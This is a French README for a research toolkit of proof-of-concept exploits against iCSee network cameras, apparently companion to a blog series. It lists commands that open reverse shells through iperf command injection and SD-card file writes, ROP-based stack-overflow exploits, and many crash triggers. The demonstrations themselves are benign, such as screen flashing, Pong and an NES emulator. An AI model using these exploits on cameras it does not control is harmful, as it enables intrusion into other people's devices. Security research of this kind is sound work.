
Ceci est une suite d'outils/PoCs/exploits pour les caméras utilisant l'application iCSee. Et oui - elle peut exécuter des jeux NES !
Ceci est un ensemble d'outils/PoC/exploits qui peuvent être utilisés sur les caméras d'appel vidéo iCSee via le réseau local (et peut-être aussi les caméras sans appel vidéo). Cela pourrait facilement être utilisé pour flasher des firmwares alternatifs en remplacement de la méthode de mise à jour par carte SD.
Remarque : Tout exploit de corruption mémoire ne fonctionnera que si la version du firmware de votre caméra est V5.00.R02.000949U5.10000.141324.0000010 ou V5.00.R02.000807E5.10000.346724.0000010 - ces exploits reposent sur des offsets fixes, qui changent à chaque construction du firmware.
[0] Énumération, démontage et extraction du firmware
[1] Apprendre le langage de la caméra
[2] Recherche de débordements d'entiers inutiles + quelques bugs utiles
[3] La mort par débordement de pile + plaisir avec les canaris
[4] Exploiter toutes les choses
[5] Caméra différente, même application
[6] Vindication + exploit complet de corruption mémoire sur la deuxième caméra
[7] Émulation de jeux NES sur la caméra
pycryptodome : Pour le cryptage RSA de connexionpwntools : Pour le shellcodepyftpdlib : Pour le serveur FTPpynput : Pour l'entrée clavier NESget_system_infoCela utilise la méthode get_system_info pour récupérer des informations sur la caméra via le port 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUtilise une fonctionnalité de texte résiduelle pour extraire les journaux de l'appareil (les journaux aboutissent dans FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellExploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'exécution du binaire iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py gdb_revshell
Terminal 3 :
gdb-multiarch
gef-remote 192.168.188.2 8888
Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !
Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
gdb_revshell_injectExploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'injection de commande iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.
Ceci est utile pour les appareils qui possèdent déjà un binaire iperf, ce qui empêche l'autre méthode.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py gdb_revshell_inject
Terminal 3 :
gdb-multiarch
gef-remote 192.168.188.2 8888
Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !
Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
iperf_inject_exploitExploite l'injection de commande iperf pour établir un shell inverse.
Terminal 1 :
nc -l 1234
Terminal 2 :
python3 icseeu.py iperf_inject_exploit
Remarque : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (Revshell_Inject/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.
Ce sont des exploits pour le deuxième débordement de pile dans le gestionnaire du type de message 0x7d8. Ce débordement est intéressant car il permet de contourner le canari de pile et d'obtenir une exécution.
Vous devrez construire la charge utile du dispatcher avant qu'ils ne fonctionnent (exécutez make dans le répertoire PayloadDispatcher), ainsi que la charge utile que vous souhaitez exécuter sur la caméra en exécutant make dans les répertoires respectifs (par exemple ImageDisplay).
Remarques :
screenflashDémontre que nous avons une exécution de code en faisant clignoter l'écran.
python3 icseeu.py exploit_goke screenflash
rgbDémontre que nous contrôlons l'écran en faisant clignoter des couleurs RVB.
python3 icseeu.py exploit_goke rgb
imagedisplayUtilise l'écriture de fichier pour télécharger une image brute RGB 5:6:5, exécutez ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw sur une image dans le répertoire pour obtenir un fichier image.raw dans le répertoire ImageDisplay pour que cela fonctionne. L'image sera affichée à l'écran.
python3 icseeu.py exploit_goke imagedisplay
buttontestDémontre que nous pouvons lire l'état des boutons, fait clignoter une couleur lorsqu'un des boutons est détecté comme ayant été enfoncé.
python3 icseeu.py exploit_goke buttontest
pongUne implémentation minimale du jeu Pong qui démontre que nous contrôlons l'écran et les boutons à l'avant, démontre également une charge utile légèrement plus complexe.
python3 icseeu.py exploit_goke pong
nesUn émulateur NES porté qui peut jouer le rom.nes placé dans le répertoire GOKE_Payloads/nes, exécutez make dans GOKE_Payloads/nes/smolnes et GOKE_Payload/nes pour générer les binaires.
python3 icseeu.py exploit_goke nes
Ceci est un exploit pour un débordement de pile sur une autre caméra sans canari de pile, mais avec NX. J'ai écrit une chaîne ROP pour pivoter la pile et obtenir l'exécution d'une grande chaîne ROP, cette chaîne ROP mappe de la mémoire exécutable, charge le contenu d'un fichier en mémoire, génère un thread qui l'exécute, puis corrige l'état de la pile et continue l'exécution.
Vous devrez construire la charge utile avant qu'elles ne fonctionnent, exécutez make dans les répertoires respectifs (par exemple ImageDisplay).
Remarques :
screenflashDémontre que nous avons une exécution de code en faisant clignoter l'écran.
python3 icseeu.py exploit_xm530 screenflash
rgbDémontre que nous contrôlons l'écran en faisant clignoter des couleurs RVB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayUtilise l'écriture de fichier pour télécharger une image brute RGB 5:6:5, exécutez ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw sur une image dans le répertoire pour obtenir un fichier image.raw dans le répertoire ImageDisplay pour que cela fonctionne. L'image sera affichée à l'écran.
python3 icseeu.py exploit_xm530 imagedisplay
Plus de détails sur ces preuves de concept (et leurs causes sous-jacentes) sont dans les blogs en haut de ce readme.
integer_underflow_httpCe PoC provoque un crash dû à un dépassement négatif d'entier dans le serveur HTTP.
python3 icseeu.py integer_underflow_http
iperf_runCe PoC exécutera le fichier stocké sur la carte SD sous iperf/iperf (script ash ou binaire).
python3 icseeu.py iperf_run
iperf_injectCe PoC exécutera la commande reboot via une injection de commande, le fichier iperf/iperf doit exister sur la carte SD pour que cela fonctionne.
python3 icseeu.py iperf_inject
assert_trigger_0x41aCe PoC déclenche une assertion (assert) due à une grande allocation dans le gestionnaire de type de message 0x41a (provoquant un crash).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aCe PoC déclenche un crash dû à un débordement d'entier qui provoque une étrange lecture hors limites dans le gestionnaire de message 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aCe PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacCe PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eCe PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x8a6 (non présent sur toutes les caméras).
python3 icseeu.py stack_overflow_0x8a6